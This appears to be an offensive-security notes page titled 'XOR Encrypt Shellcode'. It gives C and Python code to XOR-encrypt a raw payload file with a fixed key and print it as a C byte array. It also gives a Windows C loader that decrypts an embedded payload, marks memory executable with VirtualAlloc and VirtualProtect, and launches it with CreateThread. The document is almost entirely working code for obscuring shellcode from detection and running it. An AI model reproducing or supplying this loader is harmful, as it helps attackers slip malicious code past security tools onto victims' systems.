XOR Encrypt Shellcode

XOR encryption

C Code to XOR encrypt contents of a file and output in "C" format.

#include <stdio.h>
#include <stdlib.h>
#include<windows.h>
#include<string.h>

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int main(int argc, char **argv)
{	
	if(argc < 2)
	{
		printf("Format: ./xor.exe filename");
		exit(0);
	}
	
	FILE* fp;
	fp = fopen(argv[1], "r");
	
	if (!fp)
	{
		printf("File does not exist\n");
		exit(0);
	}
	
	int i =0;
	// Enter the key for encryption
	char key[]="SuperSecretKey";
	
	// Seek file pointer to the end and calc file size
	fseek(fp, 0, SEEK_END);
   	int len = ftell(fp);
   	//Move the file pointer back to the beginning
   	rewind(fp);
	unsigned char data[len]={};
	char ch=0;
	
	do {
        ch = fgetc(fp);
        data[i]=ch;
        i++;
    } while (ch != EOF);
    
	//printf("\nCopied data:\n%s\n", data);

	XOR((char *) data, sizeof data, key, sizeof key);
	printf("XORed data:\n%s\n", data);
	
	//Print in Hex format
	printf("{");
	for(i=0;i<sizeof data; i++)
	{
		printf("0x%02X", data[i]);
		if(i>0 && i!=sizeof data-1)
		{
			printf(", ");
		}
		if(i==sizeof data-1)
		{
			printf("};");
		}
	}
    
	//Decrypting
	//XOR((char* )data, sizeof data, key, sizeof key);
	//printf("%s\n", data);
	fclose(fp);
    return 0;
}

Python code to XOR encrypt content of a file and output in "C" format.

import sys
KEY = "SuperSecretKey"
def xor(data, key):
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i%len(key)]
		ordd = lambda x: x if isinstance(x,int) else ord(x)
		output_str += chr(ordd(current) ^ ord(current_key))
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

XOR Decryption & Execution

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    	DWORD oldprotect = 0;

	unsigned char calc_payload[] = "insert_xor_encrypted_payload_here"; 
	unsigned int calc_len = sizeof(calc_payload);
	char key[] = "SuperSecretKey";

	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decryption
	XOR((char *) calc_payload, calc_len, key, sizeof(key));
	
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}